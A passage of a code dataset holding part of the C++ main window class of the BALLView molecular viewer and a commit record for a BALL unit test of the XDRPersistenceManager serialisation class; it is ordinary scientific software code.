\"BALLViewDemo\");\n\n\t\tHelpViewer* BALL_docu = new HelpViewer(this, \"BALL Docu\");\n\t\taddDockWidget(Qt::BottomDockWidgetArea, BALL_docu);\n\t\tString dirp = getDataPath() + \"..\" + FileSystem::PATH_SEPARATOR + \"doc\" + \n\t\t\t\t\t\t\t\t\tFileSystem::PATH_SEPARATOR + \"BALL\" + FileSystem::PATH_SEPARATOR;\n\t\tBALL_docu->setBaseDirectory(dirp);\n\t\tBALL_docu->setWhatsThisEnabled(false);\n\t\tBALL_docu->setProject(\"BALL\");\n\t\tBALL_docu->setDefaultPage(\"index.html\");\n\n\t\taddDockWidget(Qt::BottomDockWidgetArea, new HelpViewer(this, \"BALLView Docu\"));\n\n\t\tnew LabelDialog(\t\t\t\tthis, \"LabelDialog\");\n\t\tnew MolecularStructure(\tthis, \"MolecularStructure\");\n \t\taddDockWidget(Qt::BottomDockWidgetArea, new LogView(this, \"Logs\"));\n\t\taddDockWidget(Qt::BottomDockWidgetArea, new FileObserver(  this, \"FileObserver\"));\n\n\t\tScene::stereoBufferSupportTest();\n\t\tscene_ = new EditableScene(this, \"3D View\");\n\t\tsetCentralWidget(scene_);\n\t\tsetAcceptDrops(true);\n\n\t\tnew DisplayProperties(\tthis, \"DisplayProperties\");\n\n\t\t\/\/ setup the VIEW server\n\t\t#ifdef BALL_HAS_ASIO\n\t\t\tServerWidget* server = new ServerWidget(this);\n\t\t\/\/ registering object generator\n\t\tMoleculeObjectCreator* object_creator = new MoleculeObjectCreator;\n\t\tserver->registerObjectCreator(*object_creator);\n\t\t#endif\n\n\t\tnew TestFramework(this, \"Test Framework\");\n\n\t\t#ifdef BALL_PYTHON_SUPPORT\n\t\t\taddDockWidget(Qt::BottomDockWidgetArea, new PyWidget(this, \"Python Interpreter\"));\n\t\t#endif\n\n\t\t\/\/ ---------------------\n\t\t\/\/ Menus ---------------\n\t\t\/\/ ---------------------\n\n\t\tdescription = \"Shortcut|File|Open|Project\";\n\t\tinsertMenuEntry(MainControl::FILE_OPEN, \"Project\", this, \n\t\t\t\t\t\t\t\t\t\tSLOT(loadBALLViewProjectFile()), description);\n\t\t\n\t\tdescription = \"Shortcut|File|Save_Project\";\n\t\tsave_project_action_ = insertMenuEntry(MainControl::FILE, \"Save Project\", this, \n\t\t\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t\t\t\t SLOT(saveBALLViewProjectFile()), description);\n\n\t\t\t\/\/ Help-Menu -------------------------------------------------------------------\n\t\tQAction* action = 0;\n\n\t\tdescription = \"Shortcut|Help|About\";\n\t\taction = insertMenuEntry(MainControl::HELP, \"About\", this, SLOT(about()), description);\n\t\tsetMenuHint(action, \"Show informations on this version of BALLView\");\n\n\t\tdescription = \"Shortcut|Help|How_to_cite\";\n\t\taction = insertMenuEntry(MainControl::HELP, \"How to cite\", this, SLOT(howToCite()), description);\n\t\tsetMenuHint(action, \"Show infos on how to cite BALL and BALLView\");\n\n\t\t\/\/ TODO: why is this done here and not, e.g., in mainControl()???\n\t\tdescription = \"Shortcut|MolecularMechanics|Abort_Calculation\";\n\t\tstop_simulation_action_ = insertMenuEntry(MainControl::MOLECULARMECHANICS, \"Abort Calculation\", this, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSLOT(stopSimulation()), description,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tQKeySequence(tr(\"Alt+C\", description.c_str())));\n\t\tstop_simulation_action_->setEnabled(false);\n\t\tinsertPopupMenuSeparator(MainControl::MOLECULARMECHANICS);\n\t\tsetMenuHint(stop_simulation_action_, \"Abort a running simulation\");\n\t\tPath path;\n\t\tString filename = path.find(\"graphics\/stop.png\");\n\t\tstop_simulation_action_->setIcon(QIcon(filename.c_str()));\n\t\t\n\t\tdescription = \"Shortcut|Edit|Toggle_Selection\";\n\t\tcomplement_selection_action_ = insertMenuEntry(MainControl::EDIT, \"Toggle Selection\", this, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t SLOT(complementSelection()), description);\n\n \t\tqApp->installEventFilter(this);\n\n\t\tsetStatusbarText(\"Ready.\");\n\t}\n\n\tMainframe::~Mainframe()\n\t{\n\t}\n\n\n\tbool Mainframe::eventFilter(QObject* sender, QEvent* event) \n\t{\n\t\tif (event->type() != QEvent::KeyPress) return false;\n\n\t\tQKeyEvent* e = dynamic_cast<QKeyEvent*>(event);\n\n\t\tif (e->key() == Qt::Key_Escape &&\n\t\t\t\tHelpViewer::getInstance(1)->isWhatsThisEnabled())\n\t\t{\n\t\t\tHelpViewer::getInstance(1)->exitWhatsThisMode();\n\t\t}\n\n\t\tQPoint point = QCursor::pos();\n\t\tQWidget* widget = qApp->widgetAt(point);\n\t\tif (widget == scene_ &&\n \t\t\t\tqApp->focusWidget() != scene_)\n\t\t{\n \t\t\tscene_->keyPressEvent(e);\n\t\t\treturn true;\n\t\t}\n\n \t\tif (e->key() == Qt::Key_Delete &&\n\t\t\t\tRTTI::isKindOf<QTreeWidget>(*sender))\n \t\t{\n \t\t\tdeleteClicked();\n\t\t\treturn true;\n \t\t}\n\n\t\tif (e->key() == Qt::Key_Enter) \n\t\t{\n\t\t\tif (composite_manager_.getNumberOfComposites() == 0) return false;\n\n\t\t\tif (getMolecularControlSelection().size() == 0)\n\t\t\t{\n\t\t\t\tcontrol_selection_.push_back(*composite_manager_.begin());\n\t\t\t}\n\t\t\t\t\n\t\t\tMolecularStructure::getInstance(0)->centerCamera();\n\t\t\treturn true;\n\t\t}\n\n\t\t\/\/ check all menu entries if Alt or CTRL is pressed to enable shortcuts\n\t\tif (e->key() == Qt::Key_Alt ||\n\t\t\t\te->key() == Qt::Key_Control)\t\t\t\t\n\t\t{\n\t\t\tcheckMenus();\n\t\t\treturn false;\n\t\t}\n\n\t\t#ifdef BALL_PYTHON_SUPPORT\n \t\t\tPyWidget::getInstance(0)->reactTo(*e);\n\t\t\te->accept();\n\t\t#endif\n\n\t\treturn false;\n\t}\n\n\t\n\tvoid Mainframe::reset()\n\t{\n\t\tif (composites_locked_ || getRepresentationManager().updateRunning()) return;\n\n\t\tclearData();\n\n\t\tDisplayProperties* dp = DisplayProperties::getInstance(0);\n\t\tdp->setDrawingPrecision(DRAWING_PRECISION_HIGH);\n\t\tdp->selectModel(MODEL_STICK);\n\t\tdp->selectColoringMethod(COLORING_ELEMENT);\n\t\tdp->selectMode(DRAWING_MODE_SOLID);\n\t\tdp->setTransparency(0);\n\t\tdp->setSurfaceDrawingPrecision(6.5);\n\t}\n\n\t\n\tvoid Mainframe::howToCite()\n\t{\n\t\tHelpViewer::getInstance(1)->showHelp(\"tips.html\", \"cite\");\n\t}\n\n\tvoid Mainframe::show()\n\t{\n\t\t\/\/ prevent multiple inserting of menu entries, by calls of showFullScreen(), ...\n\t\tif (preferences_action_ != 0) \n\t\t{\n\t\t\tMainControl::show();\n\t\t\treturn;\n\t\t}\n\n\n\t\tQToolBar* tb = new QToolBar(\"Main Toolbar\", this);\n\t\ttb->setObjectName(\"Main Toolbar\");\n\t\ttb->setIconSize(QSize(23,23));\n\t\ttb->layout()->setMargin(2);\n\t\ttb->layout()->setSpacing(2);\n\t\taddToolBar(Qt::TopToolBarArea, tb);\n\t\t\n\t\tMainControl::show();\n\n\t\tinitPopupMenu(MainControl::WINDOWS)->addSeparator();\n\t\tinitPopupMenu(MainControl::WINDOWS)->addAction(tb->toggleViewAction());\n\t\tMolecularFileDialog::getInstance(0)->addToolBarEntries(tb);\n\t\tDownloadPDBFile::getInstance(0)->addToolBarEntries(tb);\n\t\tPubChemDialog::getInstance(0)->addToolBarEntries(tb);\n\t\tPath path;\n\t\t\n\t\tQIcon load_icon(path.find(\"graphics\/quickload.png\").c_str());\n\t\tqload_action_ = new QAction(load_icon, \"quickload\", this);\n\t\tqload_action_->setObjectName(\"quickload\");\n\t\tconnect(qload_action_, SIGNAL(triggered()), this, SLOT(quickLoadConfirm()));\n\t\tHelpViewer::getInstance(1)->registerForHelpSystem(qload_action_, \"tips.html#quickload\");\n\t\ttb->addAction(qload_action_);\n\n\t\tQIcon save_icon(path.find(\"graphics\/quicksave.png\").c_str());\n\t\tqsave_action_ = new QAction(save_icon, \"quicksave\", this);\n\t\tqsave_action_->setObjectName(\"quicksave\");\n\t\tconnect(qsave_action_, SIGNAL(triggered()), this, SLOT(quickSave()));\n\t\tHelpViewer::getInstance(1)->registerForHelpSystem(qsave_action_, \"tips.html#quickload\");\n\t\ttb->addAction(qsave_action_);\n\n\t\ttb->addSeparator();\n\t\tDisplayProperties::getInstance(0)->addToolBarEntries(tb);\n\t\tMolecularStructure::getInstance(0)->addToolBarEntries(tb);\n\t\tscene_->addToolBarEntries(tb);\n\t\ttb->addAction(stop_simulation_action_);\n\t\ttb->addAction(preferences_action_);\n\t\tHelpViewer::getInstance(1)->addToolBarEntries(tb);\n\n\t\t\/\/ we have changed the child widgets stored in the maincontrol (e.g. toolbars), so we have\n\t\t\/\/ to restore the window state again!\n\t\trestoreWindows();\n\n\t\t\/\/ finally, apply all values our modular widgets have fetched from their preferences\n\t\tapplyPreferences();\n\t}\n\n\tvoid Mainframe::about()\n\t{\n\t\t\/\/ Display about dialog\n\t\tQDialog w;\n \t\tUi_AboutDialog about;\n\t\tabout.setupUi(&w);\n\t\tQString version = QString(\"QT \") + qVersion();\n#ifdef BALL_QT_HAS_THREADS\n\t\tversion += \"(mt)\";\n#endif\n\t\tabout.qt_version_label->setText(version);\n\t\tQFont font = about.BALLView_version_label->font();\n\t\tabout.BALLView_version_label->setText(QString(\"BALLView \") + BALL_RELEASE_STRING);\n\t\tfont.setPixelSize(18);\n\t\tabout.BALLView_version_label->setFont(font);\n\t\tabout.BALL_version_label->setText(__DATE__);\n\t\tw.exec(); \n\t}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -*- Mode: C++; tab-width: 2; -*-\n\/\/ vi: set ts=2:\n\/\/\n\/\/ $Id: XDRPersistenceManager_test.C,v 1.15 2004\/07\/07 23:04:02 amoll Exp $\n\/\/\n\n#include <BALL\/CONCEPT\/classTest.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <BALL\/CONCEPT\/XDRPersistenceManager.h>\n#include <BALL\/CONCEPT\/composite.h>\n#include <BALL\/FORMAT\/PDBFile.h>\n#include <BALL\/FORMAT\/HINFile.h>\n#include <BALL\/KERNEL\/bond.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSTART_TEST(XDRPersistenceManager, \"$Id: XDRPersistenceManager_test.C,v 1.15 2004\/07\/07 23:04:02 amoll Exp $\")\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nusing namespace BALL;\nusing namespace std;\n\nXDRPersistenceManager* pm_ptr = 0;\nCHECK(XDRPersistenceManager() throw())\n\tpm_ptr = new XDRPersistenceManager;\n\tTEST_NOT_EQUAL(pm_ptr, 0)\nRESULT\n\nCHECK(~XDRPersistenceManager())\n\tdelete pm_ptr;\nRESULT\n\nString filename;\nNEW_TMP_FILE(filename)\nCHECK(XDRPersistenceManager(std::ostream& os) throw())\n\tofstream os(filename.c_str(), std::ios::out);\n\tComposite comp;\n\tXDRPersistenceManager pm(os);\n\tcomp >> pm;\n\tos.close();\nRESULT\n\n\nCHECK(XDRPersistenceManager(std::istream& is) throw())\n\tifstream is(filename.c_str());\n\tXDRPersistenceManager pm(is);\n\tPersistentObject* po = pm.readObject();\n\tis.close();\n\tTEST_NOT_EQUAL(po, 0)\n\tTEST_EQUAL(RTTI::isKindOf<Composite>(*po), true)\n\tdelete po;\nRESULT\n\n\nCHECK(XDRPersistenceManager(std::istream& is, std::ostream& os) throw())\n\tString outfilename;\n\tNEW_TMP_FILE(outfilename);\n\tifstream is(filename.c_str());\n\tofstream os(outfilename.c_str(), std::ios::out);\n\tXDRPersistenceManager pm(is, os);\n\tPersistentObject* po = pm.readObject();\n\tis.close();\n\tTEST_NOT_EQUAL(po, 0)\n\tTEST_EQUAL(RTTI::isKindOf<Composite>(*po), true)\n\t\/\/ *po >> pm;\n\tos.close();\n\tdelete po;\nRESULT\n\n\nCHECK(void writeHeader(const char* type_name, const char* name, PointerSizeUInt ptr) throw())\n\tString outfilename;\n\tNEW_TMP_FILE(outfilename);\n\tofstream os(outfilename.c_str(), std::ios::out);\n\tXDRPersistenceManager pm(os);\n\tComposite composite;\n\t\/\/ composite >> pm;\n\tos.close();\n\tTEST_FILE_REGEXP(outfilename.c_str(), \"data\/XDRPersistenceManager_test1.txt\")\nRESULT\n\n\nCHECK(bool checkHeader(const char* type_name, const char* name, PointerSizeUInt& ptr) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeTrailer(const char* name = 0) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkTrailer(const char* name = 0) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeStreamHeader() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeStreamTrailer() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkStreamHeader() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkStreamTrailer() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool getObjectHeader(String& type_name, PointerSizeUInt& ptr) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeName(const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkName(const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeStorableHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkStorableHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writePrimitiveHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkPrimitiveHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeStorableTrailer() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkStorableTrailer() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writePrimitiveTrailer() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkPrimitiveTrailer() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeObjectPointerHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkObjectPointerHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeObjectReferenceHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkObjectReferenceHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeObjectPointerArrayHeader(const char* type_name, const char* name, Size size) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkObjectPointerArrayHeader(const char* type_name, const char* name, Size& size) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeObjectPointerArrayTrailer() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkObjectPointerArrayTrailer() throw())\n  \/\/?????\nRESULT\n\n\nNEW_TMP_FILE(filename)\nstd::ofstream outfile(filename.c_str(), std::ios::out);\n\nXDRPersistenceManager pm;\npm.setOstream(outfile);\npm.initializeOutputStream();\npm.writeStreamHeader();\nCHECK(void put(const char c) throw())\n\tpm.put((char)0);\n\tpm.put((char)85);\n\tpm.put((char)-86);\n\tpm.put((char)-1);\nRESULT\n\n\nCHECK(void put(const Byte b) throw())\n\tpm.put((Byte)0);\n\tpm.put((Byte)85);\n\tpm.put((Byte)170);\n\tpm.put((Byte)255);\nRESULT\n\n\nCHECK(void put(const Index i) throw())\n\tpm.put((Index)0);\n\tpm.put((Index)-1);\n\tpm.put((Index)0xAA55CC33);\n\tpm.put((Index)0xCC33AA55);\nRESULT\n\n\nCHECK(void put(const Size s) throw())\n\tpm.put((Size)0);\n\tpm.put((Size)0xAA55CC33);\n\tpm.put((Size)0xCC33AA55);\n\tpm.put((Size)0xFFFFFFFF);\nRESULT\n\n\nCHECK(void put(const bool b) throw())\n\tpm.put(true);\n\tpm.put(false);\nRESULT\n\n\nCHECK(void put(const Real f) throw())\n  pm.put((Real)0.0);\n\tpm.put((Real)1.234567);\n\tpm.put((Real)-9.87654e37);\nRESULT\n\n\nCHECK(void put(const DoubleReal d) throw())\n  pm.put((DoubleReal)0.0);\n\tpm.put((DoubleReal)1.234567);\n\tpm.put((DoubleReal)-9.87654e300);\nRESULT\n\n\nCHECK(void put(const string& s) throw())\n  pm.put(String(\"\"));\n\tpm.put(String(\"ABCDEFGHIJKLMNOPQRSTUVWxyz\"));\nRESULT\n\n\nPointerSizeUInt psi1 = 0x01234567;\npsi1 <<= 32;\npsi1 += 0xFEDCBA98;\nPointerSizeUInt psi2 = 0xFEDCBA98;\npsi2 <<= 32;\npsi2 += 0x01234567;\n\nCHECK(void put(const PointerSizeUInt p) throw())\n\tpm.put((PointerSizeUInt)0);\n\tpm.put(psi1);\n\tpm.put(psi2);\nRESULT\n\npm.writeStreamTrailer();\npm.finalizeOutputStream();\noutfile.close();\n\nstd::ifstream infile(filename.c_str());\npm.setIstream(infile);\npm.initializeInputStream();\npm.checkStreamHeader();\n\nCHECK(void get(char& c) throw())\n\tchar c;\n\tpm.get(c);\n\tTEST_EQUAL((Index)(signed char)c, 0)\n\tpm.get(c);\n\tTEST_EQUAL((Index)(signed char)c, 85)\n\tpm.get(c);\n\tTEST_EQUAL((Index)(signed char)c, -86)\n\tpm.get(c);\n\tTEST_EQUAL((Index)(signed char)c, -1)\nRESULT\n\n\nCHECK(void get(Byte& c) throw())\n\tByte c;\n\tpm.get(c);\n\tTEST_EQUAL((Size)c, 0)\n\tpm.get(c);\n\tTEST_EQUAL((Size)c, 85)\n\tpm.get(c);\n\tTEST_EQUAL((Size)c, 170)\n\tpm.get(c);\n\tTEST_EQUAL((Size)c, 255)\nRESULT\n\n\nCHECK(void get(Index& s) throw())\n\tIndex i;\n\tpm.get(i);\n\tTEST_EQUAL(i, (Index)0)\n\tpm.get(i);\n\tTEST_EQUAL(i, (Index)-1)\n\tpm.get(i);\n\tTEST_EQUAL(i, (Index)0xAA55CC33)\n\tpm.get(i);\n\tTEST_EQUAL(i, (Index)0xCC33AA55)\nRESULT\n\n\nCHECK(void get(Size& s) throw())\n\tSize s;\n\tpm.get(s);\n\tTEST_EQUAL(s, (Size)0)\n\tpm.get(s);\n\tTEST_EQUAL(s, (Size)0xAA55CC33)\n\tpm.get(s);\n\tTEST_EQUAL(s, (Size)0xCC33AA55)\n\tpm.get(s);\n\tTEST_EQUAL(s, (Size)0xFFFFFFFF)\nRESULT\n\n\nCHECK(void get(bool& b) throw())\n  bool b;\n\tpm.get(b);\n\tTEST_EQUAL(b, true)\n\tpm.get(b);\n\tTEST_EQUAL(b, false)\nRESULT\n\n\nCHECK(void get(Real& f) throw())\n\tReal x;\n\tpm.get(x);\n  TEST_REAL_EQUAL(x, (Real)0.0)\n\tpm.get(x);\n  TEST_REAL_EQUAL(x, (Real)1.234567)\n\tpm.get(x);\n  TEST_REAL_EQUAL(x, (Real)-9.87654e37)\nRESULT\n\n\nCHECK(void get(DoubleReal& d) throw())\n\tDoubleReal x;\n\tpm.get(x);\n  TEST_REAL_EQUAL(x, (DoubleReal)0.0)\n\tpm.get(x);\n  TEST_REAL_EQUAL(x, (DoubleReal)1.234567)\n\tpm.get(x);\n  TEST_REAL_EQUAL(x, (DoubleReal)-9.87654e300)\nRESULT\n\n\nCHECK(void get(string& s) throw())\n\tstring s;\n\tpm.get(s);\n\tTEST_EQUAL(s, \"\")\n\tpm.get(s);\n\tTEST_EQUAL(s, \"ABCDEFGHIJKLMNOPQRSTUVWxyz\")\nRESULT\n\n\nCHECK(void get(PointerSizeUInt& p) throw())\n\tPointerSizeUInt p;\n\tpm.get(p);\n\tTEST_EQUAL(p, 0)\n\tpm.get(p);\n\tTEST_EQUAL(p, psi1)\n\tpm.get(p);\n\tTEST_EQUAL(p, psi2)\nRESULT\n\npm.finalizeInputStream();\ninfile.close();\n\nCHECK(void finalizeInputStream() throw())\n  \/\/ ???\nRESULT\n\nCHECK(void finalizeOutputStream() throw())\n\t\/\/ ???\nRESULT\n\nCHECK(void initializeInputStream() throw())\n\t\/\/ ???\nRESULT\n\nCHECK(void initializeOutputStream() throw())\n\t\/\/ ???\nRESULT\n\nCHECK([Extra] full_test0)\n\tString filename;\n\tBond b1;\n\n\tNEW_TMP_FILE(filename);\n\tofstream os(filename.c_str(), std::ios::out);\n\tXDRPersistenceManager pm(os);\n\tb1 >> pm;\n\tos.close();\n\n\tifstream is(filename.c_str(), std::ios::in);\n\tXDRPersistenceManager pm2(is);\n\tPersistentObject* po =  pm2.readObject();\n\tis.close();\nRESULT\n\t\n\nCHECK([Extra] full_test1)\n\tString filename;\n\n\tSystem s1;\n\tProtein p1;\n\tChain c1;\n\tSecondaryStructure ss1;\n\tResidue r1;\n\tPDBAtom a1;\n\tPDBAtom a2;\n\ts1.insert(p1);\n\tp1.insert(c1);\n\tc1.insert(ss1);\n\tss1.insert(r1);\n\tr1.insert(a1);\n\tr1.insert(a2);\n\tBond b1;\n\tTEST_NOT_EQUAL(b1.createBond(b1, a2, a1), 0)\n\n\tNEW_TMP_FILE(filename);\n\tofstream os(filename.c_str(), std::ios::out | std::ios::binary);\n\tXDRPersistenceManager pm(os);\n\ts1 >> pm;\n\tos.close();\n\n\tifstream is(filename.c_str(), std::ios::in);\n\tXDRPersistenceManager pm2(is);\n\tPersistentObject* po =  pm2.readObject();\n\tSystem* s2 = (System*) po;\n\tis.close();\n\n\tTEST_EQUAL(s1.countAtoms(), s2->countAtoms())\nRESULT\n\t\nCHECK([Extra] full_test2)\n\tString filename;\n\tHINFile hin(\"data\/AlaGlySer.hin\");\n\tSystem s;\n\thin >> s;\n\n\tNEW_TMP_FILE(filename);\n\tofstream os(filename.c_str(), std::ios::out | std::ios::binary);\n\tXDRPersistenceManager pm(os);\n\ts >> pm;\n\tos.close();\n\n\tifstream is(filename.c_str(), std::ios::in);\n\tXDRPersistenceManager pm2(is);\n\tSystem* s2 = (System*) pm2.readObject();\n\tis.close();\n\n\tTEST_EQUAL(s.countAtoms(), s2->countAtoms())\nRESULT\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEND_TEST\n\n<commit_msg>added some extra tests<commit_after>\/\/ -*- Mode: C++; tab-width: 2; -*-\n\/\/ vi: set ts=2:\n\/\/\n\/\/ $Id: XDRPersistenceManager_test.C,v 1.16 2004\/11\/02 14:00:08 amoll Exp $\n\/\/\n\n#include <BALL\/CONCEPT\/classTest.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <BALL\/CONCEPT\/XDRPersistenceManager.h>\n#include <BALL\/CONCEPT\/composite.h>\n#include <BALL\/FORMAT\/PDBFile.h>\n#include <BALL\/FORMAT\/HINFile.h>\n#include <BALL\/KERNEL\/bond.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSTART_TEST(XDRPersistenceManager, \"$Id: XDRPersistenceManager_test.C,v 1.16 2004\/11\/02 14:00:08 amoll Exp $\")\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nusing namespace BALL;\nusing namespace std;\n\nXDRPersistenceManager* pm_ptr = 0;\nCHECK(XDRPersistenceManager() throw())\n\tpm_ptr = new XDRPersistenceManager;\n\tTEST_NOT_EQUAL(pm_ptr, 0)\nRESULT\n\nCHECK(~XDRPersistenceManager())\n\tdelete pm_ptr;\nRESULT\n\nString filename;\nNEW_TMP_FILE(filename)\nCHECK(XDRPersistenceManager(std::ostream& os) throw())\n\tofstream os(filename.c_str(), std::ios::out);\n\tComposite comp;\n\tXDRPersistenceManager pm(os);\n\tcomp >> pm;\n\tos.close();\nRESULT\n\n\nCHECK(XDRPersistenceManager(std::istream& is) throw())\n\tifstream is(filename.c_str());\n\tXDRPersistenceManager pm(is);\n\tPersistentObject* po = pm.readObject();\n\tis.close();\n\tTEST_NOT_EQUAL(po, 0)\n\tTEST_EQUAL(RTTI::isKindOf<Composite>(*po), true)\n\tdelete po;\nRESULT\n\n\nCHECK(XDRPersistenceManager(std::istream& is, std::ostream& os) throw())\n\tString outfilename;\n\tNEW_TMP_FILE(outfilename);\n\tifstream is(filename.c_str());\n\tofstream os(outfilename.c_str(), std::ios::out);\n\tXDRPersistenceManager pm(is, os);\n\tPersistentObject* po = pm.readObject();\n\tis.close();\n\tTEST_NOT_EQUAL(po, 0)\n\tTEST_EQUAL(RTTI::isKindOf<Composite>(*po), true)\n\t\/\/ *po >> pm;\n\tos.close();\n\tdelete po;\nRESULT\n\n\nCHECK(void writeHeader(const char* type_name, const char* name, PointerSizeUInt ptr) throw())\n\tString outfilename;\n\tNEW_TMP_FILE(outfilename);\n\tofstream os(outfilename.c_str(), std::ios::out);\n\tXDRPersistenceManager pm(os);\n\tComposite composite;\n\t\/\/ composite >> pm;\n\tos.close();\n\tTEST_FILE_REGEXP(outfilename.c_str(), \"data\/XDRPersistenceManager_test1.txt\")\nRESULT\n\n\nCHECK(bool checkHeader(const char* type_name, const char* name, PointerSizeUInt& ptr) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeTrailer(const char* name = 0) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkTrailer(const char* name = 0) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeStreamHeader() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeStreamTrailer() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkStreamHeader() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkStreamTrailer() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool getObjectHeader(String& type_name, PointerSizeUInt& ptr) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeName(const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkName(const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeStorableHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkStorableHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writePrimitiveHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkPrimitiveHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeStorableTrailer() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkStorableTrailer() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writePrimitiveTrailer() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkPrimitiveTrailer() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeObjectPointerHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkObjectPointerHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeObjectReferenceHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkObjectReferenceHeader(const char* type_name, const char* name) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeObjectPointerArrayHeader(const char* type_name, const char* name, Size size) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkObjectPointerArrayHeader(const char* type_name, const char* name, Size& size) throw())\n  \/\/?????\nRESULT\n\n\nCHECK(void writeObjectPointerArrayTrailer() throw())\n  \/\/?????\nRESULT\n\n\nCHECK(bool checkObjectPointerArrayTrailer() throw())\n  \/\/?????\nRESULT\n\n\nNEW_TMP_FILE(filename)\nstd::ofstream outfile(filename.c_str(), std::ios::out);\n\nXDRPersistenceManager pm;\npm.setOstream(outfile);\npm.initializeOutputStream();\npm.writeStreamHeader();\nCHECK(void put(const char c) throw())\n\tpm.put((char)0);\n\tpm.put((char)85);\n\tpm.put((char)-86);\n\tpm.put((char)-1);\nRESULT\n\n\nCHECK(void put(const Byte b) throw())\n\tpm.put((Byte)0);\n\tpm.put((Byte)85);\n\tpm.put((Byte)170);\n\tpm.put((Byte)255);\nRESULT\n\n\nCHECK(void put(const Index i) 